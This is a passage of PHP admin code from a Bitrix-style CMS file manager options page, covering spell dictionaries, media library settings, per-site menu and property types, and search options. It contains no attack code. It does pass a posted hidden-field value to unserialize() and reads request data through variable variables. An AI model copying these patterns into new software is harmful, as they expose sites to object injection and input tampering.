				$dic_path = $dicsDir->path.'/'.$dic;
				if (is_file($dic_path))
					unlink ($dic_path);
			}
			$dicsDir->close();

			require($_SERVER['DOCUMENT_ROOT'].BX_ROOT.'/modules/fileman/admin/spell_createDictionary.php');

			$CD = new createDictionary();
			$lang = $_POST['index_dic'];
			$CD->init($lang,$lang_dir);
			if ($CD->create())
				COption::SetOptionString($module_id, $dic_lang."_dic_indexed", "Y");
		}
	}
	// ******** Spell END ********


	//Entities
	COption::SetOptionString($module_id, "ar_entities", count($ar_entities) <= 0 ? 'none' : implode(',',$ar_entities));

	COption::SetOptionString($module_id, "editor_body_id", htmlspecialcharsbx($editor_body_id));
	COption::SetOptionString($module_id, "editor_body_class", htmlspecialcharsbx($editor_body_class));


	/* **********  Medialib ************/
	$cur_ml_width = COption::GetOptionInt($module_id, "ml_thumb_width", 140);
	$cur_ml_height = COption::GetOptionInt($module_id, "ml_thumb_height", 105);

	$ml_width = intval($medialib_thumb_width, 10);
	if ($ml_width <=0)
		$ml_width = 140;

	$ml_height = intval($medialib_thumb_height, 10);
	if ($ml_height <=0)
		$ml_height = 105;

	if (abs($cur_ml_width - $ml_width) > 10 || abs($cur_ml_height - $ml_height) > 10)
		CMedialib::DeleteThumbnails();

	COption::SetOptionInt($module_id, "ml_thumb_width", $ml_width);
	COption::SetOptionInt($module_id, "ml_thumb_height", $ml_height);

	$arMLExt = explode(',', $medialib_ext);
	$arMLExt_ = array();
	for ($i = 0, $l = count($arMLExt); $i < $l; $i++)
	{
		$ext = strtolower(trim($arMLExt[$i], ' .'));
		if (strlen($ext) > 0)
			$arMLExt_[] = $ext;
	}
	$medialib_ext = implode(',', $arMLExt_);
	COption::SetOptionString($module_id, "ml_media_extentions", $medialib_ext);

	/* Max size*/
	$ml_max_width = intval($medialib_max_width);
	if ($ml_max_width <=0)
		$ml_max_width = 1024;

	$ml_max_height = intval($medialib_max_height);
	if ($ml_max_height <=0)
		$ml_max_height = 1024;

	COption::SetOptionInt($module_id, "ml_max_width", $ml_max_width);
	COption::SetOptionInt($module_id, "ml_max_height", $ml_max_height);

	/* MEDIALIB TYPES*/
	$arMLTypes = array();
	$arMLDelTypes = array();
	$strAvExt = $medialib_ext;

	foreach ($_POST['ML_TYPE'] as $key => $type)
	{
		if ($type["DEL"] == "Y")
		{
			$arMLDelTypes[] = $key;
		}
		//elseif(trim($type["EXT"]) != "" && trim($type["NAME"]) != "" && trim($type["CODE"]) != "")
		elseif(trim($type["EXT"]) != "" && trim($type["CODE"]) != "")
		{
			if ($type["SYS"] == "Y")
			{
				$arMLTypes[] = array(
					'EXT' => $type["EXT"],
					'CODE' => $type["CODE"],
					'ID' => $key
				);
			}
			else
			{
				$arMLTypes[] = array(
					'NEW' => $type["NEW"] == "Y",
					'ID' => $key,
					'NAME' => $type["NAME"],
					'CODE' => $type["CODE"],
					'EXT' => $type["EXT"],
					'DESCRIPTION' => $type["DESC"],
					'SYSTEM' => $type["SYS"] == "Y" ? "Y" : "N"
				);
			}

			$strAvExt .= ','.$type["EXT"];
		}
	}

	CMedialib::DelTypes($arMLDelTypes);
	CMedialib::SetTypes($arMLTypes);

	$arExt_ = explode(',', $strAvExt);
	$arAvExt = array();
	for ($i = 0, $l = count($arExt_); $i < $l; $i++)
	{
		$ext = strtolower(trim($arExt_[$i], ' .'));
		if (strlen($ext) > 0 && !in_array($ext, $arAvExt))
			$arAvExt[] = $ext;
	}
	$strAvExt = implode(',', $arAvExt);
	COption::SetOptionString($module_id, "ml_media_available_ext", $strAvExt);

	/* MEDIALIB END*/

	// Using medialib (or file dialog) by default in HTML-editor and other...
	COption::SetOptionString($module_id, "ml_use_default", $medialib_use_default == 'Y');

	//File extensions
	if ($USER->CanDoOperation('edit_php'))
	{
		COption::SetOptionString($module_id, "~script_files", $script_files);
		COption::SetOptionString($module_id, "~allowed_components", $allowed_components);
	}
	$addError = false;

	$siteList_ID = unserialize($mSiteList);

	if(isset($dif_settings))
	{
		COption::SetOptionString($module_id, "different_set", "Y");

		$j = 0;
		while($j < count($siteList_ID))
		{
			COption::SetOptionInt($module_id, "num_menu_param", ${"num_".$siteList_ID[$j]["ID"]."_menu_param"}, false, $siteList_ID[$j]["ID"]);

			$menutypes = "";
			$armt = Array();
			for($i=0; $i<${"menutypes_".$siteList_ID[$j]["ID"]."_count"}; $i++)
			{
				if(strlen(${"menutypes_".$siteList_ID[$j]["ID"]."_".$i."_type"})>0)
					$armt[${"menutypes_".$siteList_ID[$j]["ID"]."_".$i."_type"}] = ${"menutypes_".$siteList_ID[$j]["ID"]."_".$i."_name"};
			}

			if(strlen(${"menutypes_".$siteList_ID[$j]["ID"]."_new_type"})>0 && $USER->CanDoOperation('fileman_edit_menu_types'))
				$armt[${"menutypes_".$siteList_ID[$j]["ID"]."_new_type"}] = ${"menutypes_".$siteList_ID[$j]["ID"]."_new_name"};

			if (strlen(addslashes(serialize($armt))) <= 2000)
				SetMenuTypes($armt, $siteList_ID[$j]["ID"]);
			else
				$addError = GetMessage("FILEMAN_OPTION_ADD_ERROR_MENU").'<br />';

			$arPT = Array();
			for($i=0; $i<${"propstypes_".$siteList_ID[$j]["ID"]."_count"}; $i++)
			{
				if(strlen(${"propstypes_".$siteList_ID[$j]["ID"]."_".$i."_type"})>0)
					$arPT[${"propstypes_".$siteList_ID[$j]["ID"]."_".$i."_type"}] = ${"propstypes_".$siteList_ID[$j]["ID"]."_".$i."_name"};
			}
			if(strlen(${"propstypes_".$siteList_ID[$j]["ID"]."_new_type"})>0)
				$arPT[${"propstypes_".$siteList_ID[$j]["ID"]."_new_type"}] = ${"propstypes_".$siteList_ID[$j]["ID"]."_new_name"};

			if(!CFileMan::SetPropstypes($arPT, false, $siteList_ID[$j]["ID"]))
				$addError .= GetMessage("FILEMAN_OPTION_ADD_ERROR_PROPS");
			$j++;
		}
	}
	else
	{
		COption::SetOptionString($module_id, "different_set", "N");
		COption::SetOptionInt($module_id, "num_menu_param", $num_menu_param);

		$armt = Array();
		$menutypes = "";
		for($i=0; $i<$menutypes_count; $i++)
		{
			if(strlen(${"menutypes_".$i."_type"})>0)
				$armt[${"menutypes_".$i."_type"}] = ${"menutypes_".$i."_name"};
		}
		if(strlen($menutypes_new_type)>0 && $USER->CanDoOperation('fileman_edit_menu_types'))
			$armt[$menutypes_new_type] = $menutypes_new_name;

		if (strlen(addslashes(serialize($armt))) <= 2000)
			SetMenuTypes($armt, $siteList_ID[$j]["ID"]);
		else
			$addError = GetMessage("FILEMAN_OPTION_ADD_ERROR_MENU").'<br />';

		$propstypes = "";
		$arPT = Array();
		for($i=0; $i<$propstypes_count; $i++)
		{
			if(strlen(${"propstypes_".$i."_type"})>0)
				$arPT[${"propstypes_".$i."_type"}] = ${"propstypes_".$i."_name"};
		}
		if(strlen($propstypes_new_type)>0)
			$arPT[$propstypes_new_type] = $propstypes_new_name;

		if(!CFileMan::SetPropstypes($arPT))
			$addError .= GetMessage("FILEMAN_OPTION_ADD_ERROR_PROPS");

		$j = 0;
		while($j < count($siteList_ID))
		{
			COption::RemoveOption($module_id, "menutypes", $siteList_ID[$j]["ID"]);
			COption::RemoveOption($module_id, "propstypes", $siteList_ID[$j]["ID"]);
			COption::RemoveOption($module_id, "num_menu_param", $siteList_ID[$j]["ID"]);
			$j++;
		}

	}

	// Search
	$search_max_open_file_size = intVal($_POST['search_max_open_file_size']);
	if ($search_max_open_file_size <= 0)
		$search_max_open_file_size = 1024;
	COption::SetOptionString($module_id, "search_max_open_file_size", $search_max_open_file_size);

	$search_max_res_count = intVal($_POST['search_max_res_count']);
	if ($search_max_res_count <= 0)
		$search_max_res_count = '';
	COption::SetOptionString($module_id, "search_max_res_count", $search_max_res_count);

	$search_time_step = intVal($_POST['search_time_step']);

	if ($search_time_step <= 0)
		$search_time_step = 5;

	COption::SetOptionString($module_id, "search_time_step", $search_time_step);

	$search_mask = $_POST['search_mask'];

	if ($search_mask == "")
		$search_mask = "*.php";

	COption::SetOptionString($module_id, "search_mask", $search_mask);
	COption::SetOptionString($module_id, "show_inc_icons", (isset($_POST['show_inc_icons']) ? 'Y' : 'N'));
	COption::SetOptionString($module_id, "hide_physical_struc", (isset($_POST['hide_physical_struc'])));
	COption::SetOptionString($module_id, "use_translit", (isset($_POST['use_translit'])));
	COption::SetOptionString($module_id, "use_translit_google", (isset($_POST['use_translit_google'])));
	COption::SetOptionString($module_id, "log_menu", (isset($_POST['log_menu']) ? 'Y' : 'N'));
	COption::SetOptionString($module_id, "log_page", (isset($_POST['log_page']) ? 'Y' : 'N'));
	COption::SetOptionString($module_id, "use_code_editor", (isset($_POST['use_code_editor']) ? 'Y' : 'N'));
	COption::SetOptionString($module_id, "google_map_api_key", isset($_POST['google_map_api_key']) ? $_POST['google_map_api_key'] : '');

	//default groups
	$sGroups = '';
	if(is_array($_POST["DEFAULT_EDIT_GROUPS"]))
		foreach($_POST["DEFAULT_EDIT_GROUPS"] as $gr)
			$sGroups .= ($sGroups <> ''? ',':'').intval($gr);
	COption::SetOptionString('fileman', 'default_edit_groups', $sGroups);

	$archive_step_time = intVal($_POST['archive_step_time']);
	if ($archive_step_time <= 0)
		$archive_step_time = 30;
	COption::SetOptionString($module_id, "archive_step_time", $archive_step_time);
}


if ($REQUEST_METHOD=="GET" && isset($_GET['load_dic']) &&
	$USER->CanDoOperation('fileman_edit_all_settings') &&
	COption::GetOptionString($module_id, "use_editor_3", "N") == "Y")
{
	if (isValidLang($_GET['load_dic']))
	{
		$l_id = $_GET['load_dic'];
		require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/tar_gz.php");
		$indexedDicPath = $_SERVER['DOCUMENT_ROOT'].$gzDicsRelPath.'/'.$l_id.'.tar.gz';
		$oArchiver = new CArchiver($indexedDicPath);

		if ($oArchiver->extractFiles($_SERVER['DOCUMENT_ROOT'].$dicsRelPath.'/'.$l_id))
			COption::SetOptionString($module_id, $l_id."_dic_indexed", "Y");
	}
}

$aTabs = array(
	array("DIV" => "edit1", "TAB" => GetMessage("MAIN_TAB_SET"), "ICON" => "fileman_settings", "TITLE" => GetMessage("MAIN_TAB_TITLE_SET")),
	array("DIV" => "edit2", "TAB" => GetMessage("MAIN_TAB_VISUAL_EDITOR"), "ICON" => "fileman_settings", "TITLE" => GetMessage("MAIN_TAB_TITLE_VIS_ED_SET")),
	array("DIV" => "edit5", "TAB" => GetMessage("MAIN_TAB_MEDIALIB"), "ICON" => "fileman_settings", "TITLE" => GetMessage("FILEMAN_SEC_MEDIALIB")),
	);

if($USER->isAdmin())
{
	$rightsTab = array("DIV" => "edit3", "TAB" => GetMessage("MAIN_TAB_RIGHTS"), "ICON" => "fileman_settings", "TITLE" => GetMessage("MAIN_TAB_TITLE_RIGHTS"));
	$aTabs[] = $rightsTab;
}
	$siteList = array();
	$rsSites = CSite::GetList($by="sort", $order="asc", Array());
	$i = 0;
	while($arRes = $rsSites->Fetch())
	{
		$siteList[$i]["ID"] = $arRes["ID"];
		$siteList[$i]["NAME"] = $arRes["NAME"];
		$i++;
	}
	$siteCount = $i;
	$useEditor3 = COption::GetOptionString($module_id, "use_editor_3", "Y") == "Y";
	unset($rsSites);
	unset($arRes);

	if ($addError)
	{
		CAdminMessage::ShowMessage(array(
			"DETAILS" => $addError,
			"TYPE" => "ERROR",
		));
	}

	$tabControl = new CAdmintabControl("tabControl", $aTabs);
	$tabControl->Begin();

?>


<script>
	function SelectSite(id)
	{
		<?for($i = 0; $i < $siteCount; $i++):?>
		BX('<?= htmlspecialcharsbx($siteList[$i]["ID"]);?>_Propery').style.display='none';
		<?endfor;?>
		BX(id+'_Propery').style.display='';
	}

	function hideSite()
	{
		<?for($i = 0; $i < $siteCount; $i++):?>
		BX('<?= htmlspecialcharsbx($siteList[$i]["ID"]);?>_Propery').style.display='none';
		<?endfor;?>
	}

	function showCustomSpellSettings(id)
	{
		var checker = BX(id);
		var customSpellSettings = BX('customSpellSettings');
		if (checker.checked)
		{
			customSpellSettings.style.display = "block";
		}
		else
		{
			customSpellSettings.style.display = "none";
		}
	}
</script>

<form method="POST" enctype="multipart/form-data" action="<?echo $APPLICATION->GetCurPage()?>?mid=<?=htmlspecialcharsbx($mid)?>&lang=<?echo LANG?>">
<?=bitrix_sessid_post()?>
<?$tabControl->BeginNextTab();?>
<tr>
	<td valign="top" width="40%"><?= GetMessage('FILEMAN_OPTION_DEF_EDITOR')?></td>
	<td valign="top" width="60%">

	<select name="default_edit">
		<option value="text"><?= GetMessage('FILEMAN_OPTION_EDITOR_TEXT')?></option>
		<option value="php"<?if(COption::GetOptionString($module_id, "default_edit", "text")=="php")echo " selected"?>><?= GetMessage('FILEMAN_OPTION_EDITOR_PHP')?></option>
		<option value="html"<?if(COption::GetOptionString($module_id, "default_edit", "text")=="html")echo " selected"?>><?= GetMessage('FILEMAN_OPTION_EDITOR_HTML')?></option>
	</select>
	</td>
</tr>
	<? if (COption::GetOptionString('main', 'distributive6', 'N') != 'Y'):?>
	<tr>
		<td valign="top"><label for="show_inc_icons"><?= GetMessage('FILEMAN_OPTION_MENU_SHOW_INC')?></label></td>
		<td><input type="checkbox" name="show_inc_icons" id="show_inc_icons" size="5" value="Y" <?if(COption::GetOptionString($module_id, "show_inc_icons", "Y")=="Y")echo " checked"?>></td>
	</tr>
	<?endif;?>
	<? if ($USER->CanDoOperation('edit_php')):?>
	<tr>
		<td>
			<?= GetMessage('FILEMAN_OPTION_SCRIPT_FILES')?>:
		</td>
		<td>
			<input type="text" name="script_files" id="script_files" size="40" value="<?= htmlspecialcharsbx(COption::GetOptionString($module_id, "~script_files", $script_files_default));?>">
		</td>
	</tr>
	<tr>
		<td valign="top">
			<?= GetMessage('FILEMAN_OPTION_ALLOWED_COMPONENTS')?>:
		</td>
		<td>
			<textarea cols="30" rows="4" name="allowed_components"><?= htmlspecialcharsbx(COption::GetOptionString($module_id, "~allowed_components", ''));?></textarea>
		</td>
	</tr>
	<?endif;?>
	<tr>
	<td valign="top" width="40%"><label for="hide_physical_struc"><?= GetMessage('FILEMAN_HIDE_PHYSICAL_STRUC')?>:</label></td>
	<td valign="top" width="60%">
	<input type="checkbox" name="hide_physical_struc" id="hide_physical_struc" <? if(COption::GetOptionString($module_id, "hide_physical_struc", false) == true) echo " checked";?>>
	</td>
	</tr>
		<tr>
		<td valign="top" width="40%"><label for="use_translit"><?= GetMessage('FILEMAN_USE_TRANSLITE')?>:</label></td>
		<td valign="top" width="60%">
		<input type="checkbox" name="use_translit" id="use_translit" <? if(COption::GetOptionString($module_id, "use_translit", true) == true) echo " checked";?>>
		</td>
	</tr>
	</tr>
		<tr>
		<td valign="top" width="40%"><label for="use_translit_google"><?= GetMessage('FILEMAN_USE_TRANSLITE_EXTERNAL')?>:</label></td>
		<td valign="top" width="60%">
		<input type="checkbox" name="use_translit_google" id="use_translit_google" <? if(COption::GetOptionString($module_id, "use_translit_google", true) == true) echo " checked";?>>
		</td>
	</tr>
	<tr>
		<td class="adm-detail-valign-top"><label for="LOGS"><?=GetMessage("FILEMAN_EVENT_LOG")?>:</label></td>
		<td>
			<?$val = COption::GetOptionString("forum", "LOGS", "Q");?>
			<div class="adm-list">
				<div class="adm-list-item">
					<div class="adm-list-control"><input type="checkbox" name="log_menu" id="log_menu" value="Y" <?if(COption::GetOptionString($module_id, "log_menu", "Y")=="Y")echo " checked"?>></div>
					<div class="adm-list-label"><label for="log_menu"><?=GetMessage("FILEMAN_EVENT_LOG_MENU")?></label></div>
				</div>
				<div class="adm-list-item">
					<div class="adm-list-control"><input type="checkbox" name="log_page" ID="log_page" value="Y" <?if(COption::GetOptionString($module_id, "log_page", "Y")=="Y")echo " checked"?>></div>
					<div class="adm-list-label"><label for="log_page"><?=GetMessage("FILEMAN_EVENT_LOG_PAGE")?></label></div>
				</div>
			</div>
		</td>
	</tr>

	</tr>
	<tr>
		<td valign="top" width="40%"><label for="use_code_editor"><?= GetMessage('FILEMAN_OPTION_USE_CODE_EDITOR')?>:</label></td>
		<td valign="top" width="60%">
		<input type="checkbox" name="use_code_editor" id="use_code_editor" <? if(COption::GetOptionString($module_id, "use_code_editor", "Y") == "Y") echo " checked";?>>
		</td>
	</tr>
	<tr>
		<td valign="top"><label for="google_map_api_key"><?= GetMessage('FILEMAN_OPTION_GOOGLE_MAP_API_KEY')?>:</label></td>
		<td valign="top">
			<a name="google_api_key"></a>
			<input type="text" size="40" name="google_map_api_key" id="google_map_api_key" value="<?=htmlspecialcharsbx(COption::GetOptionString($module_id, "google_map_api_key", ""));?>">
			<?=BeginNote();?>
				<?=GetMessage(
					"FILEMAN_OPTION_GOOGLE_MAP_API_KEY_NOTE",
					array(
						"#A#" => '<a href="https://developers.google.com/maps/documentation/javascript/get-api-key">https://developers.google.com/maps/documentation/javascript/get-api-key</a>'
					)
				)?>
			<?=EndNote();?>
		</td>
	</tr>

	<tr>
		<td colspan=2>&nbsp;</td>
	</tr>
	<tr class="heading">
		<td colspan=2><?= GetMessage('FILEMAN_OPTION_SPECIAL_SETTINGS')?></td>
	</tr>
	<tr>
		<td><?= GetMessage('FILEMAN_OPTION_DIFFERENT_SET')?></td>
		<td><input type="checkbox" name="dif_settings" id="dif_settings_id" onClick="if(this.checked) {BX('comPropery').style.display='none'; BX('site_select_id').disabled=false; SelectSite(BX('site_select_id').value);} else { BX('site_select_id').disabled=true; BX('comPropery').style.display=''; hideSite();}" <? if(COption::GetOptionString($module_id, "different_set", "N") == "Y") echo " checked";?>></td>
	</tr>
	<tr>
		<td><?= GetMessage('FILEMAN_OPTION_FOR_SYTE')?></td>
		<td>
			<select name="site_select" id="site_select_id" onChange="SelectSite(this.value)" <? if(COption::GetOptionString($module_id, "different_set", "N") != "Y") echo " disabled"; ?>>
			<?
				for($i = 0; $i < $siteCount; $i++)
					echo "<option value=\"".htmlspecialcharsbx($siteList[$i]["ID"])."\">".htmlspecialcharsbx($siteList[$i]["NAME"])."</option>";
			?>
			</select>
		</td>
	</tr>
	<tr id="comPropery" <? if(COption::GetOptionString($module_id, "different_set", "N") == "Y") echo " style=\"display: none;\""; ?>>
		<td colspan="2">
		<table cellspacing="4"  cellpadding="0" width="100%">
		<tr>
			<td valign="top" width="40%" class="adm-detail-content-cell-l" style="padding: 4px;"><?= GetMessage('FILEMAN_OPTION_MENU_TYPES')?></td>
			<td valign="top" width="60%" class="adm-detail-content-cell-r">
			<table cellPadding="2" cellSpacing="2" border="0" width="100%">
			<tr class="heading">
				<td align="center" width="40%"><b><?= GetMessage("FILEMAN_OPTION_MENU_TYPE")?></b></td>
				<td align="center" width="60%"><b><?= GetMessage("FILEMAN_OPTION_MENU_NAME")?></b></td>
			</tr>
			<?
			$armt = GetMenuTypes('', "left=".GetMessage("FILEMAN_OPTION_LEFT_MENU_NAME").",top=".GetMessage("FILEMAN_OPTION_TOP_MENU_NAME"));


			$i = 0;
			foreach($armt as $key => $title):
				if ($USER->CanDoOperation('fileman_edit_menu_types')):
				?>
					<tr>
						<td style="padding: 2px;"><input type="text" name="menutypes_<?echo $i?>_type" value="<?= htmlspecialcharsbx($key)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
						<td style="padding: 2px;"><input type="text" name="menutypes_<?echo $i?>_name" value="<?= htmlspecialcharsbx($title)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
					</tr>
				<?else:?>
				<tr>
					<td style="padding-left: 5px">
					<?= htmlspecialcharsbx($key)?>
					<input type="hidden" name="menutypes_<?echo $i?>_type" value="<?echo htmlspecialcharsbx($key)?>">
					</td>
					<td  style="padding-left: 5px">
					<?= htmlspecialcharsbx($title)?>
					<input type="hidden" name="menutypes_<?echo $i?>_name" value="<?echo htmlspecialcharsbx($title)?>">
					</td>
				</tr>
				<?
				endif;
				$i++;
			endforeach;
			?>
			<input type="hidden" name="menutypes_count" value="<?echo $i?>">
			<?if ($USER->CanDoOperation('fileman_edit_menu_types')):?>
			<tr>
				<td><input type="text" name="menutypes_new_type" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="menutypes_new_name" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
			<?endif;?>
			</table>
			</td>
		</tr>
		<tr>
			<td class="adm-detail-content-cell-l"><?= GetMessage('FILEMAN_OPTION_MENU_PARAMS')?></td>
			<td class="adm-detail-content-cell-r"><input type="text" name="num_menu_param" size="5" value="<?echo COption::GetOptionInt($module_id, "num_menu_param", 1, "")?>"></td>
		</tr>
		<tr>
			<td valign="top" class="adm-detail-content-cell-l"><?= GetMessage('FILEMAN_OPTION_PROPS_TYPES')?></td>
			<td valign="top" class="adm-detail-content-cell-r">
			<table cellpadding="2" cellspacing="2" border="0" width="100%">
			<tr class="heading">
				<td align="center" width="40%"><b><?= GetMessage('FILEMAN_OPTION_PROPS_TYPE')?></b></td>
				<td align="center" width="60%"><b><?= GetMessage('FILEMAN_OPTION_PROPS_NAME')?></b></td>
			</tr>
			<?

			$i = 0;
			foreach (CFileMan::GetPropstypes('') as $key => $val)
			{
				?>
			<tr>
				<td><input type="text" name="propstypes_<?= $i?>_type" value="<?= htmlspecialcharsbx($key)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="propstypes_<?= $i?>_name" value="<?= htmlspecialcharsbx($val)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
			<?
				$i++;
			}
			?>
			<input type="hidden" name="propstypes_count" value="<?echo $i+1;?>">
			<tr>
				<td><input type="text" name="propstypes_new_type" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="propstypes_new_name" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
			</table>
			</td>
			</tr>
			</td>
		</tr>
		</table>
		</td>
	</tr>
	<input type="hidden" name="mSiteList" value="<?=htmlspecialcharsbx(serialize($siteList))?>">
	<?
	for($j = 0; $j < $siteCount; $j++)
	{
	?>
	<tr id="<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_Propery" style="<? if(((COption::GetOptionString($module_id, "different_set", "N") == "Y") && ($j != 0)) || (COption::GetOptionString($module_id, "different_set", "N") == "N")) echo "display: none;"?>">
		<td colSpan="2">
		<table cellspacing="4" cellpadding="0" width="100%">
		<tr>
			<td valign="top" width="40%" class="adm-detail-content-cell-l"><?= GetMessage('FILEMAN_OPTION_MENU_TYPES')?></td>
			<td valign="top" width="60%" class="adm-detail-content-cell-r">
			<table cellPadding="2" cellSpacing="2" border="0" width="100%">
			<tr class="heading">
				<td align="center" width="40%"><b><?= GetMessage('FILEMAN_OPTION_MENU_TYPE')?></b></td>
				<td align="center" width="60%"><b><?= GetMessage('FILEMAN_OPTION_MENU_NAME')?></b></td>
			</tr>
			<?
			$armt = GetMenuTypes($siteList[$j]["ID"], "left=".GetMessage("FILEMAN_OPTION_LEFT_MENU_NAME").",top=".GetMessage("FILEMAN_OPTION_TOP_MENU_NAME"));

			$i = 0;
			foreach($armt as $key => $title):
				if ($USER->CanDoOperation('fileman_edit_menu_types')):
				?>
			<tr>
				<td><input type="text" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_<?= $i?>_type" value="<?= htmlspecialcharsbx($key)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_<?= $i?>_name" value="<?= htmlspecialcharsbx($title)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
				<?else:?>
			<tr>
				<td>
				<?echo htmlspecialcharsbx($key)?>
				<input type="hidden" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_<?= $i?>_type" value="<?= htmlspecialcharsbx($key)?>">
				</td>
				<td>
				<?echo htmlspecialcharsbx($title)?>
				<input type="hidden" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_<?= $i?>_name" value="<?= htmlspecialcharsbx($title)?>">
				</td>
			</tr>
				<?
				endif;
				$i++;
			endforeach;
			?>
			<input type="hidden" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_count" value="<?= $i?>">
			<?if($USER->CanDoOperation('fileman_edit_menu_types')):?>
			<tr>
				<td><input type="text" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_new_type" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="menutypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_new_name" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
			<?endif;?>
			</table>
			</td>
		</tr>
		<tr>
			<td class="adm-detail-content-cell-l"><?= GetMessage('FILEMAN_OPTION_MENU_PARAMS')?></td>
			<td class="adm-detail-content-cell-r"><input type="text" name="num_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_menu_param" size="5" value="<?= COption::GetOptionInt($module_id, "num_menu_param", 1, $siteList[$j]["ID"])?>"></td>
		</tr>
		<tr>
			<td valign="top" class="adm-detail-content-cell-l"><?= GetMessage('FILEMAN_OPTION_PROPS_TYPES')?></td>
			<td class="adm-detail-content-cell-r">
			<table cellPadding="2" cellSpacing="2" border="0" width="100%">
			<tr class="heading">
				<td align="center" width="40%"><b><?= GetMessage('FILEMAN_OPTION_PROPS_TYPE')?></b></td>
				<td align="center" width="60%"><b><?= GetMessage('FILEMAN_OPTION_PROPS_NAME')?></b></td>
			</tr>
			<?
			$i = 0;
			foreach (CFileMan::GetPropstypes($siteList[$j]["ID"]) as $key => $val)
			{?>
			<tr>
				<td><input type="text" name="propstypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_<?echo $i?>_type" value="<?= htmlspecialcharsbx($key)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="propstypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_<?echo $i?>_name" value="<?= htmlspecialcharsbx($val)?>" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
			<?
				$i++;
			}
			?>
			<input type="hidden" name="propstypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_count" value="<?echo $i+1?>">
			<tr>
				<td><input type="text" name="propstypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_new_type" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
				<td><input type="text" name="propstypes_<?= htmlspecialcharsbx($siteList[$j]["ID"])?>_new_name" value="" style="width:100%; -moz-box-sizing: border-box; box-sizing: border-box;"></td>
			</tr>
			</table>
			</td>
		</tr>
		</table>
	</td>
	</tr>

	<? } ?>
	<tr class="heading">
		<td colspan="2"><?= GetMessage("FILEMAN_SEARCH_TITLE")?></td>
	</tr>
	<tr>
		<td><label for="search_max_open_file_size"><?= GetMessage("FILEMAN_SEARCH_MAX_FILE_SIZE")?> (<?= GetMessage("FILEMAN_SEARCH_KB")?>):</label></td>
		<td><input type="text" name="search_max_open_file_size" id="search_max_open_file_size" value="<?= COption::GetOptionString($module_id, "search_max_open_file_size", "1024")?>"></td>
	</tr>
	<tr>
		<td><label for="search_max_res_count"><?= GetMessage("FILEMAN_SEARCH_MAX_RES_CNT")?>:</label></td>
		<?
		$val = COption::GetOptionString($module_id, "search_max_res_count", "");
		$def_val = ' - '.GetMessage('FILEMAN_SEARCH_NO_LIMITS').' -';
		?>
		<td><input type="text" name="search_max_res_count" id="search_max_res_count" value="<? echo $val != "" ? $val : $def_val; ?>" <? if ($val == ""): ?>class="def-val"<?endif;?> onfocus="if (this.value == '<?= $def_val?>' || this.value == ''){this.value = ''; BX.removeClass(this, 'def-val');}" onblur="if (this.value == ''){this.value = '<?= $def_val?>'; BX.addClass(this, 'def-val');}" />
		</td>
	</tr>
	<tr>
		<td><label for="search_time_step"><?= GetMessage("FILEMAN_SEARCH_TIME_STEP")?>:</label></td>
		<td><input type="text" name="search_time_step" id="search_time_step" value="<?= COption::GetOptionString($module_id, "search_time_step", "5"); ?>"></td>
	</tr>
	<tr>
		<td><label for="search_mask"><?= GetMessage("FILEMAN_SEARCH_MASK_DEF")?>:</label></td>
		<td><input type="text" name="search_mask" id="search_mask" value="<?= htmlspecialcharsbx(COption::GetOptionString($module_id, "search_mask", "*.php"))?>"></td>
	</tr>
	<tr class="heading">
		<td colspan="2"><?= GetMessage("FILEMAN_ARCHIVE_TITLE")?></td>
	</tr>
	<tr>
		<td><label for="archive_step_time"><?= GetMessage("FILEMAN_ARCHIVE_STEP_TIME")?>:</label></td>
		<td><input type="text" name="archive_step_time" id="archive_step_time" value="<?= htmlspecialcharsbx(COption::GetOptionString($module_id, "archive_step_time", "30"))?>"></td>
	</tr>
	</tr>
	<!--end of archive-->
<?$tabControl->BeginNextTab();?>
<tr>
	<td valign="top"><label for="use_editor_3"><?= GetMessage('FILEMAN_OPTION_USE_EDITOR_3')?></label></td>
	<td><input type="checkbox" name="use_editor_3" id="use_editor_3" value="Y" <?if($useEditor3) echo " checked"?>></td>
</tr>

<? if (!$useEditor3):?>
<tr>
	<td valign="top"><label for="show_untitled_styles"><?= GetMessage('FILEMAN_OPTION_USE_ONLY_DEFINED_STYLES')?></label></td>
	<td><input type="checkbox" name="show_untitled_styles" id="show_untitled_styles" value="Y" <?if(COption::GetOptionString($module_id, "show_untitled_styles", "N")=="Y")echo " checked"?>></td>
</tr>
<tr>
	<td valign="top"><label for="render_styles_in_classlist"><?= GetMessage('FILEMAN_OPTION_RENDER_CLASSLIST_STYLE')?>:</label></td>
